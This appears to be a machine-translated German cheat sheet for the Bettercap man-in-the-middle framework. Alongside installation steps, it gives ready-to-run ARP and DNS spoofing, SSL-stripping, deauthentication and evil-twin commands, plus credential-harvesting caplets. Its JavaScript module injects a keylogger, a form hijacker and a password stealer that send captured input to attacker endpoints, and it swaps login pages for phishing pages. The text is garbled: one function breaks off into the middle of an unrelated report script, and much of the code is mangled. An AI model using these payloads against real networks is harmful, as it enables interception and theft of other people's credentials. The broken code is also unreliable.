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Überblick

Bettercap ist ein leistungsfähiges, modulares und tragbares Netzwerk-Aufklärung und MITM (Man-in-the-Middle) Angriffsrahmen für Sicherheitsforscher, Penetrationsprüfer und Netzwerkadministratoren. Ursprünglich als moderner Ersatz für Ettercap entwickelt, hat sich Bettercap zu einer umfassenden Netzwerk-Sicherheitstest-Plattform entwickelt, die mehrere Angriffsvektoren und Aufklärungstechniken zu einem einzigen, einheitlichen Rahmen verbindet. Das Tool wird in Go geschrieben, so dass es sehr tragbar und effizient über verschiedene Betriebssysteme und Architekturen.

Die modulare Architektur des Frameworks ermöglicht es Anwendern, spezifische Module für verschiedene Arten von Netzwerkangriffen und Aufklärungsaktivitäten zu laden und auszuführen. Bettercap unterstützt eine breite Palette von Protokollen und Angriffstechniken, darunter ARP-Spoofing, DNS-Spoofing, DHCP-Spoofing, Wireless-Angriffe, Bluetooth Low Energy (BLE)-Angriffe und HTTP/HTTPS-Proxy-Angriffe. Dieser umfassende Ansatz macht es zu einem unschätzbaren Werkzeug für Sicherheitsexperten, die Netzwerksicherheit aus mehreren Winkeln bewerten und Schwachstellen in verschiedenen Netzwerkschichten identifizieren müssen.

Eine der wichtigsten Stärken von Bettercap ist seine Echtzeit-Web-basierte Benutzeroberfläche, die ein intuitives Dashboard zur Überwachung und Steuerung von Angriffen bietet. Das Web UI zeigt Live-Netzwerkverkehr, erfasste Anmeldeinformationen, entdeckte Hosts und Angriffsstatus in einem leicht zu verstehenden Format. Zusätzlich enthält Bettercap leistungsfähige Skriptfunktionen durch seine JavaScript-Engine, so dass Benutzer benutzerdefinierte Angriffsszenarien erstellen und komplexe Testverfahren automatisieren können. Mit seiner aktiven Entwicklungsgemeinschaft und regelmäßigen Updates entwickelt sich Bettercap weiterhin als eines der vielseitigsten und effektivsten Netzwerksicherheitstests.

Installation

Ubuntu/Debian Installation

Installieren von Bettercap auf Ubuntu/Debian-Systemen:

```bash

Update system packages

sudo apt update && sudo apt upgrade -y

Install required dependencies

sudo apt install -y build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev \ git wget curl

Install Go (required for building from source)

wget https://golang.org/dl/go1.21.0.linux-amd64.tar.gz sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc source ~/.bashrc

Verify Go installation

go version

Install Bettercap using Go

go install github.com/bettercap/bettercap@latest

Add Go bin to PATH

echo 'export PATH=\(PATH:\)(go env GOPATH)/bin' >> ~/.bashrc source ~/.bashrc

Alternative: Install pre-compiled binary

wget https://github.com/bettercap/bettercap/releases/latest/download/bettercap_linux_amd64_v2.32.0.zip unzip bettercap_linux_amd64_v2.32.0.zip sudo mv bettercap /usr/local/bin/ sudo chmod +x /usr/local/bin/bettercap

Install UI dependencies (optional)

sudo apt install -y nodejs npm sudo npm install -g @bettercap/ui

Create bettercap user (optional)

sudo useradd -r -s /bin/false bettercap sudo usermod -a -G bettercap $USER

Set capabilities for non-root execution

sudo setcap cap_net_raw,cap_net_admin=eip /usr/local/bin/bettercap

Verify installation

bettercap -version ```_

CentOS/RHEL Installation

```bash

Install EPEL repository

sudo yum install -y epel-release

Install required packages

sudo yum groupinstall -y "Development Tools" sudo yum install -y libpcap-devel libusb-devel libnetfilter_queue-devel \ git wget curl

Install Go

wget https://golang.org/dl/go1.21.0.linux-amd64.tar.gz sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc source ~/.bashrc

Install Bettercap

go install github.com/bettercap/bettercap@latest

Set capabilities

sudo setcap cap_net_raw,cap_net_admin=eip $(go env GOPATH)/bin/bettercap

Configure firewall

sudo firewall-cmd --permanent --add-port=80/tcp sudo firewall-cmd --permanent --add-port=443/tcp sudo firewall-cmd --permanent --add-port=8080/tcp sudo firewall-cmd --reload ```_

macOS Installation

```bash

Install Homebrew (if not already installed)

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Install dependencies

brew install libpcap

Install Go

brew install go

Install Bettercap

go install github.com/bettercap/bettercap@latest

Alternative: Install via Homebrew

brew install bettercap

Verify installation

bettercap -version ```_

Docker Installation

Running Bettercap in Docker:

```bash

Pull official Bettercap Docker image

docker pull bettercap/bettercap

Run Bettercap in Docker with network access

docker run -it --rm --privileged --net=host \ -v $(pwd):/app \ bettercap/bettercap

Run with web UI

docker run -it --rm --privileged --net=host \ -p 80:80 -p 443:443 \ -v $(pwd):/app \ bettercap/bettercap \ -iface eth0 -caplet http-ui

Create custom Dockerfile

cat > Dockerfile.bettercap ``<< 'EOF' FROM golang:1.21-alpine AS builder

Install dependencies

RUN apk add --no-cache git build-base libpcap-dev libusb-dev linux-headers

Build Bettercap

RUN go install github.com/bettercap/bettercap@latest

FROM alpine:latest

Install runtime dependencies

RUN apk add --no-cache libpcap libusb iptables

Copy binary

COPY --from=builder /go/bin/bettercap /usr/local/bin/

Create working directory

WORKDIR /app

Expose ports

EXPOSE 80 443 8080

Default command

CMD ["bettercap"] EOF

Build custom image

docker build -f Dockerfile.bettercap -t custom-bettercap .

Run custom image

docker run -it --rm --privileged --net=host custom-bettercap ```_

Windows Installation

```powershell

Install using Chocolatey

choco install golang choco install git

Install Bettercap

go install github.com/bettercap/bettercap@latest

Alternative: Download pre-compiled binary

Download from: https://github.com/bettercap/bettercap/releases

# Extract to C:\Program Files\Bettercap\

Install WinPcap or Npcap (required for packet capture)

Download from: https://npcap.com/

Add to PATH

$env:PATH += ";C:\Program Files\Bettercap"

Verify installation

bettercap.exe -version ```_

Basisnutzung

Network Discovery

Grundlegende Netzwerkaufklärung und Entdeckung:

```bash

Start Bettercap with automatic interface detection

sudo bettercap

Specify network interface

sudo bettercap -iface eth0

Enable network discovery

sudo bettercap -iface eth0

`` net.probe on net.show

Discover hosts with specific probes

set net.probe.mdns true set net.probe.nbns true set net.probe.upnp true set net.probe.wsd true net.probe on

Show discovered hosts

hosts.show

Show network statistics

net.stats

Continuous host discovery

set ticker.period 1 set ticker.commands "clear; net.show; hosts.show" ticker on

Save discovered hosts

hosts.save /tmp/discovered_hosts.json

Load previously saved hosts

hosts.load /tmp/discovered_hosts.json ```_

ARP Spoofing

ARP Spoofing-Angriffe ausführen:

```bash

Basic ARP spoofing setup

sudo bettercap -iface eth0

Enable ARP spoofing for entire subnet

arp.spoof on

Target specific hosts

set arp.spoof.targets 192.168.1.100,192.168.1.101 arp.spoof on

Spoof specific gateway

set arp.spoof.fullduplex false set arp.spoof.targets 192.168.1.1 arp.spoof on

Monitor ARP spoofing status

arp.spoof.stats

Advanced ARP spoofing with custom intervals

set arp.spoof.interval 1s set arp.spoof.silent false arp.spoof on

Whitelist specific hosts (exclude from spoofing)

set arp.spoof.whitelist 192.168.1.50,192.168.1.51 arp.spoof on

Stop ARP spoofing

arp.spoof off

Ban specific hosts (disconnect them)

arp.ban 192.168.1.100 arp.unban 192.168.1.100 ```_

DNS Spoofing

DNS Spoofing und Umleitung:

```bash

Enable DNS spoofing

sudo bettercap -iface eth0

dns.spoof on

Spoof specific domains

set dns.spoof.domains example.com,*.google.com set dns.spoof.address 192.168.1.50 dns.spoof on

Use custom DNS spoofing rules

set dns.spoof.hosts /tmp/dns_hosts.txt dns.spoof on

Create custom DNS hosts file

cat > /tmp/dns_hosts.txt << 'EOF'

Custom DNS spoofing rules

example.com 192.168.1.50 *.facebook.com 192.168.1.51 login.microsoft.com 192.168.1.52 EOF

Advanced DNS spoofing with logging

set dns.spoof.silent false set dns.spoof.domains * dns.spoof on

Monitor DNS queries

events.stream on

Stop DNS spoofing

dns.spoof off ```_

HTTP/HTTPS Proxy

Einrichten von HTTP/HTTPS-Proxy für die Verkehrsabhörung:

```bash

Enable HTTP proxy

sudo bettercap -iface eth0

http.proxy on

Enable HTTPS proxy with SSL stripping

https.proxy on set https.proxy.sslstrip true

Custom proxy port

set http.proxy.port 8080 set https.proxy.port 8443 http.proxy on https.proxy on

Inject custom JavaScript

set http.proxy.script /tmp/inject.js http.proxy on

Create JavaScript injection script

cat > /tmp/inject.js << 'EOF' function onRequest(req, res) \\{ log("Request: " + req.Method + " " + req.URL);

// Log headers
for (var name in req.Headers) \\\\{
    log("Header: " + name + " = " + req.Headers[name]);
\\\\}

\\}

function onResponse(req, res) \\{ log("Response: " + res.Status + " for " + req.URL);

// Inject custom content
if (res.ContentType.indexOf("text/html") == 0) \\\\{
    var body = res.ReadBody();
    var newBody = body.replace("</body>",
        "<script>alert('Injected by Bettercap');</script></body>");
    res.Body = newBody;
\\\\}

\\} EOF

Monitor proxy traffic

events.stream on

Save captured data

http.proxy.dump /tmp/http_traffic.log ```_

Erweiterte Funktionen

Funkangriffe

WiFi Aufklärung und Angriffe:

```bash

Enable WiFi monitoring mode (requires compatible adapter)

sudo bettercap -iface wlan0

Start WiFi reconnaissance

wifi.recon on

Show discovered access points

wifi.show

Show connected clients

wifi.show.clients

Target specific access point

wifi.recon.channel 6 set wifi.recon.channel 6 wifi.recon on

Deauthentication attack

set wifi.deauth.targets aacc:dd:ee:ff wifi.deauth

Handshake capture

set wifi.handshakes.file /tmp/handshakes.pcap wifi.recon on

Evil twin attack

set wifi.ap.ssid "Free WiFi" set wifi.ap.bssid aacc:dd:ee:ff set wifi.ap.channel 6 wifi.ap

WPS attacks

wifi.recon on wifi.show set wifi.wps.targets aacc:dd:ee:ff wifi.wps

Monitor WiFi events

events.stream on ```_

Bluetooth Low Energy (BLE) Angriffe

BLE Aufklärung und Angriffe:

```bash

Enable BLE reconnaissance

sudo bettercap

ble.recon on

Show discovered BLE devices

ble.show

Enumerate BLE device services

ble.enum aacc:dd:ee:ff

Write to BLE characteristics

ble.write aacc:dd:ee:ff 1800 2a00 "payload"

Clone BLE device

set ble.clone.target aacc:dd:ee:ff ble.clone

Monitor BLE events

events.stream on

Save BLE scan results

ble.save /tmp/ble_devices.json ```_

Zollkontingente

Erstellen und Verwenden von benutzerdefinierten Caplets (Automatisierungsskripte):

```bash

Create basic reconnaissance caplet

cat > /tmp/recon.cap << 'EOF'

Basic network reconnaissance caplet

Set interface

set $ \\{by_name eth0\\}

Enable network discovery

set net.probe.mdns true set net.probe.nbns true set net.probe.upnp true net.probe on

Enable ARP spoofing for entire subnet

arp.spoof on

Enable DNS spoofing

set dns.spoof.domains * set dns.spoof.address \\{interface.ipv4\\} dns.spoof on

Enable HTTP proxy

set http.proxy.script /tmp/inject.js http.proxy on

Enable HTTPS proxy with SSL stripping

set https.proxy.sslstrip true https.proxy on

Start event streaming

events.stream on

Display status every 5 seconds

set ticker.period 5 set ticker.commands "clear; net.show; hosts.show" ticker on EOF

Run caplet

sudo bettercap -caplet /tmp/recon.cap

Create advanced MITM caplet

cat > /tmp/mitm.cap << 'EOF'

Advanced MITM attack caplet

Variables

set $TARGET 192.168.1.100 set $GATEWAY 192.168.1.1 set $INTERFACE eth0

Set interface

set $ \\{by_name $INTERFACE\\}

Target specific host

set arp.spoof.targets $TARGET set arp.spoof.fullduplex true arp.spoof on

DNS spoofing for specific domains

set dns.spoof.domains facebook.com,.facebook.com,google.com,.google.com set dns.spoof.address \\{interface.ipv4\\} dns.spoof on

HTTP/HTTPS proxy with custom script

set http.proxy.script /tmp/advanced_inject.js http.proxy on

set https.proxy.sslstrip true set https.proxy.script /tmp/advanced_inject.js https.proxy on

Logging

set http.proxy.dump /tmp/http_dump.log set https.proxy.dump /tmp/https_dump.log

Events

events.stream on EOF

Create credential harvesting caplet

cat > /tmp/harvest.cap << 'EOF'

Credential harvesting caplet

Set interface

set $ \\{by_name eth0\\}

ARP spoofing

arp.spoof on

DNS spoofing to redirect login pages

set dns.spoof.domains login.microsoft.com,accounts.google.com,www.facebook.com set dns.spoof.address \\{interface.ipv4\\} dns.spoof on

HTTP proxy with credential extraction

set http.proxy.script /tmp/harvest.js http.proxy on

HTTPS proxy

set https.proxy.sslstrip true set https.proxy.script /tmp/harvest.js https.proxy on

Start web server for phishing pages

set http.server.path /tmp/phishing set http.server.port 80 http.server on

events.stream on EOF

Run specific caplet

sudo bettercap -caplet /tmp/mitm.cap -iface eth0 ```_

JavaScript Module

Erweiterte JavaScript-Module für benutzerdefinierte Angriffe:

```javascript // Advanced HTTP/HTTPS injection script // File: /tmp/advanced_inject.js

var credentials = []; var sessions = \\{\\};

function onLoad() \\{ log("Advanced injection module loaded"); \\}

function onRequest(req, res) \\{ var url = req.URL; var method = req.Method; var host = req.Hostname;

log("[" + method + "] " + host + url);

// Log interesting headers
if (req.Headers["Authorization"]) \\\\{
    log("Authorization header found: " + req.Headers["Authorization"]);
\\\\}

if (req.Headers["Cookie"]) \\\\{
    log("Cookies: " + req.Headers["Cookie"]);
    sessions[host] = req.Headers["Cookie"];
\\\\}

// Extract POST data for credential harvesting
if (method == "POST" && req.Body) \\\\{
    var body = req.ReadBody();
    log("POST data: " + body);

    // Look for common credential fields

| | if (body.indexOf("password") != -1 | | body.indexOf("passwd") != -1) \\{ | | log("Potential credentials captured: " + body); credentials.push(\\{ host: host, url: url, data: body, timestamp: new Date().toISOString() \\});

        // Save credentials to file
        writeFile("/tmp/credentials.json", JSON.stringify(credentials, null, 2));
    \\\\}
\\\\}

\\}

function onResponse(req, res) \\{ var contentType = res.ContentType; var url = req.URL; var host = req.Hostname;

log("Response: " + res.Status + " for " + url);

// Inject into HTML pages
if (contentType.indexOf("text/html") == 0) \\\\{
    var body = res.ReadBody();

    // Inject keylogger
    var keylogger = `
        <script>
            var keys = [];
            document.addEventListener('keydown', function(e) \\{
                keys.push(\\{
                    key: e.key,
                    timestamp: new Date().toISOString(),
                    url: window.location.href
                \\});

                // Send to attacker server every 50 keystrokes
                if (keys.length >= 50) \\{
                    fetch('/keylog', \\{
                        method: 'POST',
                        body: JSON.stringify(keys),
                        headers: \\{'Content-Type': 'application/json'\\}
                    \\});
                    keys = [];
                \\}
            \\});

            // Send on page unload
            window.addEventListener('beforeunload', function() \\{
                if (keys.length > 0) \\{
                    navigator.sendBeacon('/keylog', JSON.stringify(keys));
                \\}
            \\});
        </script>
    `;

    // Inject form hijacker
    var formHijacker = `
        <script>
            document.addEventListener('DOMContentLoaded', function() \\{
                var forms = document.querySelectorAll('form');
                forms.forEach(function(form) \\{
                    form.addEventListener('submit', function(e) \\{
                        var formData = new FormData(form);
                        var data = \\{\\};
                        for (var pair of formData.entries()) \\{
                            data[pair[0]] = pair[1];
                        \\}

                        fetch('/formdata', \\{
                            method: 'POST',
                            body: JSON.stringify(\\{
                                url: window.location.href,
                                data: data,
                                timestamp: new Date().toISOString()
                            \\}),
                            headers: \\{'Content-Type': 'application/json'\\}
                        \\});
                    \\});
                \\});
            \\});
        </script>
    `;

    // Inject scripts before closing body tag
    body = body.replace("</body>", keylogger + formHijacker + "</body>");

    // Replace login pages with phishing pages

| | if (url.indexOf("login") != -1 | | url.indexOf("signin") != -1) \\{ | | body = createPhishingPage(host, url); \\}

    res.Body = body;
\\\\}

// Modify JavaScript files

| | if (contentType.indexOf("application/javascript") == 0 | | | | contentType.indexOf("text/javascript") == 0) \\{ var body = res.ReadBody();

    // Inject malicious code into JavaScript
    var maliciousCode = `
        // Injected by Bettercap
        setInterval(function() \\{
            if (document.querySelector('input[type="password"]')) \\{
                var passwords = document.querySelectorAll('input[type="password"]');
                passwords.forEach(function(p) \\{
                    if (p.value) \\{
                        fetch('/password', \\{
                            method: 'POST',
                            body: JSON.stringify(\\{
                                url: window.location.href,
                                password: p.value,
                                timestamp: new Date().toISOString()
                            \\}),
                            headers: \\{'Content-Type': 'application/json'\\}
                        \\});
                    \\}
                \\});
            \\}
        \\}, 5000);
    `;

    body = maliciousCode + "\n" + body;
    res.Body = body;
\\\\}

\\}

function createPhishingPage(host, url) \\{ return ` <!DOCTYPE html>

Bettercap Attack Report

Generated: $(date)

Target Network: $TARGET_NETWORK

Interface: $INTERFACE

Discovered Hosts

EOF if [ -f "$OUTPUT_DIR/discovered_hosts.json" ]; then cat "$OUTPUT_DIR/discovered_hosts.json" >> "$report_file" else echo "No hosts discovered" >> "$report_file" fi cat >> "$report_file" << EOF

Port Scan Results

EOF if [ -f "$OUTPUT_DIR/port_scan.json" ]; then cat "$OUTPUT_DIR/port_scan.json" >> "$report_file" else echo "No port scan results" >> "$report_file" fi cat >> "$report_file" << EOF

Captured Traffic Summary

EOF if [ -f "$OUTPUT_DIR/http_traffic.log" ]; then echo "HTTP Requests: $(wc -l < "$OUTPUT_DIR/http_traffic.log")" >> "$report_file" fi if [ -f "$OUTPUT_DIR/https_traffic.log" ]; then echo "HTTPS Requests: $(wc -l < "$OUTPUT_DIR/https_traffic.log")" >> "$report_file" fi if [ -f "$OUTPUT_DIR/packets.pcap" ]; then echo "Captured Packets: $(tcpdump -r "$OUTPUT_DIR/packets.pcap" 2>/dev/null|wc -l)" >> "$report_file" fi cat >> "$report_file" << EOF

Attack Log

$(tail -n 50 "$LOG_FILE")

EOF

log_message "Report generated: $report_file"

\\}

Cleanup function

cleanup() \\{ log_message "Cleaning up..."

# Kill any running Bettercap processes
pkill -f bettercap 2>/dev/null

# Reset network settings
echo 0 > /proc/sys/net/ipv4/ip_forward 2>/dev/null

log_message "Cleanup completed"

\\}

Signal handlers

trap cleanup EXIT trap cleanup INT trap cleanup TERM

Main execution

main() \\{ log_message "Starting Bettercap automation script"

check_root
check_dependencies

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

case "$ATTACK_TYPE" in
    "recon")
        network_recon
        ;;
    "mitm")
        network_recon

        # Extract targets from reconnaissance
        if [ -f "$OUTPUT_DIR/discovered_hosts.json" ]; then
            # Get first discovered host as target

| | local target=\((grep -o '"ip":"[^"]*"' "\)OUTPUT_DIR/discovered_hosts.json" | head -n 1 | cut -d'"' -f4) | | if [ -n "\(target" ]; then mitm_attack "\)target" fi fi ;; "wifi") wifi_attack "wlan0" ;; "full") network_recon

        if [ -f "$OUTPUT_DIR/discovered_hosts.json" ]; then

| | local target=\((grep -o '"ip":"[^"]*"' "\)OUTPUT_DIR/discovered_hosts.json" | head -n 1 | cut -d'"' -f4) | | if [ -n "\(target" ]; then mitm_attack "\)target" fi fi

        # WiFi attacks if interface available
        if ip link show wlan0 >/dev/null 2>&1; then
            wifi_attack "wlan0"
        fi
        ;;
    *)
        log_message "Unknown attack type: $ATTACK_TYPE"
        exit 1
        ;;
esac

generate_report
log_message "Attack completed. Results in: $OUTPUT_DIR"

\\}

Parse command line arguments

while [[ \(# -gt 0 ]]; do case \(1 in -i|--interface) INTERFACE="\)2" shift 2 ;; -t|--target) TARGET_NETWORK="\)2" shift 2 ;; -a|--attack) ATTACK_TYPE="\(2" shift 2 ;; -d|--duration) ATTACK_DURATION="\)2" shift 2 ;; -h|--help) echo "Usage: $0 [OPTIONS]" echo "Options:" echo " -i, --interface IFACE Network interface (default: eth0)" echo " -t, --target NETWORK Target network (default: 192.168.1.0/24)" | | echo " -a, --attack TYPE Attack type: recon | mitm | wifi | full (default: mitm)" | | echo " -d, --duration SECONDS Attack duration (default: 300)" echo " -h, --help Show this help" exit 0 ;; *) echo "Unknown option: $1" exit 1 ;; esac done

Run main function

main ```_

Integrationsbeispiele

SIEM Integration

```python

!/usr/bin/env python3

Bettercap SIEM integration script

import json import time import requests import subprocess from datetime import datetime import logging

class BettercapSIEMIntegration: def init(self, config): self.config = config self.setup_logging()

def setup_logging(self):
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s',
        handlers=[
            logging.FileHandler('/var/log/bettercap_siem.log'),
            logging.StreamHandler()
        ]
    )
    self.logger = logging.getLogger(__name__)

def parse_bettercap_events(self, events_file):
    """Parse Bettercap events log file"""
    events = []

    try:
        with open(events_file, 'r') as f:
            for line in f:
                if line.strip():
                    try:
                        event = json.loads(line)
                        events.append(self.normalize_event(event))
                    except json.JSONDecodeError:
                        # Handle non-JSON log lines
                        events.append(self.parse_text_event(line))

    except FileNotFoundError:
        self.logger.error(f"Events file not found: \\\\{events_file\\\\}")

    return events

def normalize_event(self, event):
    """Normalize Bettercap event to common format"""
    normalized = \\\\{
        'timestamp': event.get('time', datetime.now().isoformat()),
        'source': 'bettercap',
        'event_type': event.get('tag', 'unknown'),
        'severity': self.determine_severity(event),
        'raw_event': event
    \\\\}

    # Extract specific fields based on event type
    tag = event.get('tag', '')

    if tag == 'net.sniff':
        normalized.update(\\\\{
            'src_ip': event.get('data', \\\\{\\\\}).get('src'),
            'dst_ip': event.get('data', \\\\{\\\\}).get('dst'),
            'protocol': event.get('data', \\\\{\\\\}).get('protocol'),
            'payload': event.get('data', \\\\{\\\\}).get('payload')
        \\\\})

    elif tag == 'arp.spoof':
        normalized.update(\\\\{
            'target_ip': event.get('data', \\\\{\\\\}).get('target'),
            'gateway_ip': event.get('data', \\\\{\\\\}).get('gateway'),
            'attack_type': 'arp_spoofing'
        \\\\})

    elif tag == 'dns.spoof':
        normalized.update(\\\\{
            'domain': event.get('data', \\\\{\\\\}).get('domain'),
            'spoofed_ip': event.get('data', \\\\{\\\\}).get('address'),
            'attack_type': 'dns_spoofing'
        \\\\})

    elif tag == 'http.proxy':
        normalized.update(\\\\{
            'method': event.get('data', \\\\{\\\\}).get('method'),
            'url': event.get('data', \\\\{\\\\}).get('url'),
            'user_agent': event.get('data', \\\\{\\\\}).get('user_agent'),
            'attack_type': 'http_interception'
        \\\\})

    return normalized

def parse_text_event(self, line):
    """Parse non-JSON log lines"""
    return \\\\{
        'timestamp': datetime.now().isoformat(),
        'source': 'bettercap',
        'event_type': 'log',
        'severity': 'info',
        'message': line.strip()
    \\\\}

def determine_severity(self, event):
    """Determine event severity"""
    tag = event.get('tag', '')

    high_severity_tags = ['arp.spoof', 'dns.spoof', 'wifi.deauth', 'ble.attack']
    medium_severity_tags = ['http.proxy', 'https.proxy', 'net.sniff']

    if tag in high_severity_tags:
        return 'high'
    elif tag in medium_severity_tags:
        return 'medium'
    else:
        return 'low'

def send_to_splunk(self, events):
    """Send events to Splunk via HEC"""
    if not self.config.get('splunk', \\\\{\\\\}).get('enabled', False):
        return

    splunk_config = self.config['splunk']

    for event in events:
        splunk_event = \\\\{
            'time': event['timestamp'],
            'source': 'bettercap',
            'sourcetype': 'bettercap:event',
            'index': splunk_config.get('index', 'security'),
            'event': event
        \\\\}

        try:
            response = requests.post(
                splunk_config['hec_url'],
                headers=\\\\{
                    'Authorization': f"Splunk \\\\{splunk_config['token']\\\\}",
                    'Content-Type': 'application/json'
                \\\\},
                json=splunk_event,
                verify=False,
                timeout=10
            )

            if response.status_code != 200:
                self.logger.error(f"Failed to send to Splunk: \\\\{response.status_code\\\\}")

        except Exception as e:
            self.logger.error(f"Error sending to Splunk: \\\\{e\\\\}")

def send_to_elasticsearch(self, events):
    """Send events to Elasticsearch"""
    if not self.config.get('elasticsearch', \\\\{\\\\}).get('enabled', False):
        return

    es_config = self.config['elasticsearch']

    for event in events:
        index_name = f"bettercap-\\\\{datetime.now().strftime('%Y.%m.%d')\\\\}"

        try:
            response = requests.post(
                f"\\\\{es_config['url']\\\\}/\\\\{index_name\\\\}/_doc",
                json=event,
                timeout=10
            )

            if response.status_code not in [200, 201]:
                self.logger.error(f"Failed to send to Elasticsearch: \\\\{response.status_code\\\\}")

        except Exception as e:
            self.logger.error(f"Error sending to Elasticsearch: \\\\{e\\\\}")

def generate_alerts(self, events):
    """Generate alerts based on event patterns"""
    alerts = []

    # Group events by type and time
    event_groups = \\\\{\\\\}
    for event in events:
        key = f"\\\\{event['event_type']\\\\}_\\\\{event.get('src_ip', 'unknown')\\\\}"
        if key not in event_groups:
            event_groups[key] = []
        event_groups[key].append(event)

    # Check for suspicious patterns
    for group_key, group_events in event_groups.items():
        if len(group_events) > 10:  # High frequency
            alerts.append(\\\\{
                'alert_type': 'high_frequency_events',
                'severity': 'high',
                'description': f"High frequency of \\\\{group_events[0]['event_type']\\\\} events",
                'event_count': len(group_events),
                'time_window': '5 minutes',
                'source_ip': group_events[0].get('src_ip'),
                'timestamp': datetime.now().isoformat()
            \\\\})

    # Check for credential harvesting
    credential_events = [e for e in events if 'password' in str(e).lower()]
    if credential_events:
        alerts.append(\\\\{
            'alert_type': 'credential_harvesting',
            'severity': 'critical',
            'description': 'Potential credential harvesting detected',
            'event_count': len(credential_events),
            'timestamp': datetime.now().isoformat()
        \\\\})

    return alerts

def process_events(self, events_file):
    """Process Bettercap events and send to SIEM"""
    self.logger.info(f"Processing events from \\\\{events_file\\\\}")

    events = self.parse_bettercap_events(events_file)

    if not events:
        self.logger.info("No events to process")
        return

    self.logger.info(f"Processing \\\\{len(events)\\\\} events")

    # Send to configured SIEM systems
    self.send_to_splunk(events)
    self.send_to_elasticsearch(events)

    # Generate and send alerts
    alerts = self.generate_alerts(events)
    if alerts:
        self.logger.info(f"Generated \\\\{len(alerts)\\\\} alerts")
        for alert in alerts:
            self.send_alert(alert)

def send_alert(self, alert):
    """Send alert notification"""
    self.logger.warning(f"ALERT: \\\\{alert['description']\\\\}")

    # Send email if configured
    if self.config.get('email', \\\\{\\\\}).get('enabled', False):
        self.send_email_alert(alert)

def send_email_alert(self, alert):
    """Send email alert"""
    # Implementation depends on email configuration
    pass

Configuration

config = \\{ 'splunk': \\{ 'enabled': True, 'hec_url': 'https://splunk.company.com:8088/services/collector/event', 'token': 'your-hec-token', 'index': 'security' \\}, 'elasticsearch': \\{ 'enabled': True, 'url': 'http://elasticsearch.company.com:9200' \\}, 'email': \\{ 'enabled': False, 'smtp_server': 'smtp.company.com', 'from': 'security@company.com', 'to': 'soc@company.com' \\} \\}

Usage

if name == "main": import sys

if len(sys.argv) != 2:
    print("Usage: python3 bettercap_siem.py <events_file>")
    sys.exit(1)

events_file = sys.argv[1]
integration = BettercapSIEMIntegration(config)
integration.process_events(events_file)

```_

Fehlerbehebung

Gemeinsame Themen

Verweigerte Fehler: ```bash

Set proper capabilities

sudo setcap cap_net_raw,cap_net_admin=eip /usr/local/bin/bettercap

Check capabilities

getcap /usr/local/bin/bettercap

Run with sudo if capabilities don't work

sudo bettercap

Check interface permissions

sudo chmod 666 /dev/net/tun ```_

Einzelheiten: ```bash

List available interfaces

ip link show

Check interface status

ip addr show eth0

Bring interface up

sudo ip link set eth0 up

Check for monitor mode (WiFi)

sudo iwconfig wlan0 mode monitor sudo ip link set wlan0 up ```_

Modul Belastungsprobleme: ```bash

Check available modules

bettercap -help

Update Bettercap

go install github.com/bettercap/bettercap@latest

Check Go environment

go env GOPATH go env GOROOT

Verify installation

bettercap -version bettercap -env-info ```_

Leistungsoptimierung

Optimieren von Bettercap-Leistung:

```bash

Increase system limits

echo "* soft nofile 65536" >> /etc/security/limits.conf echo "* hard nofile 65536" >> /etc/security/limits.conf

Optimize network buffers

echo 'net.core.rmem_max = 134217728' >> /etc/sysctl.conf echo 'net.core.wmem_max = 134217728' >> /etc/sysctl.conf echo 'net.core.netdev_max_backlog = 5000' >> /etc/sysctl.conf sysctl -p

Use performance caplet settings

set net.probe.throttle 10 set arp.spoof.interval 1s set ticker.period 5 ```_

Sicherheitsüberlegungen

Ethische Nutzung

Rechtliche Erwägungen: - Verwenden Sie nur Bettercap in Netzwerken, die Sie besitzen oder eine ausdrückliche Erlaubnis zum Testen haben - Lokale Gesetze über Netzwerksicherheitstests verstehen - ordnungsgemäße Genehmigung vor Durchführung von Penetrationstests - Dokumentation aller Prüftätigkeiten für die Erfüllung von Zwecken - Respektieren Sie Privatsphäre und Vertraulichkeit erfasster Daten

** Sicherheit:** - Verwenden Sie Bettercap in isolierten Testumgebungen, wenn möglich - Implementierung richtiger Zugriffskontrollen für erfasste Daten - Sichere Speicherung und Übermittlung sensibler Informationen - Regelmäßige Updates von Bettercap und Abhängigkeiten - Monitor für die Erkennung durch Netzwerksicherheitssysteme

Datenschutz

** Erfassung der Datensicherheit:** - Verschlüsseln erfasster Verkehr und Anmeldeinformationen - Implementieren Sie sichere Löschung von temporären Dateien - Verwenden Sie sichere Kanäle für die Datenübertragung - Umsetzung von Datenschutzbestimmungen - Regelmäßige Sicherheitsbewertungen der Prüfinfrastruktur

Referenzen

1. [Beratende Website](https://LINK_5__
2. [Bettercap GitHub Repository](LINK_5_
3. (LINK_5_)
4. Go Programming Language
5. Network Security Testing Best Practices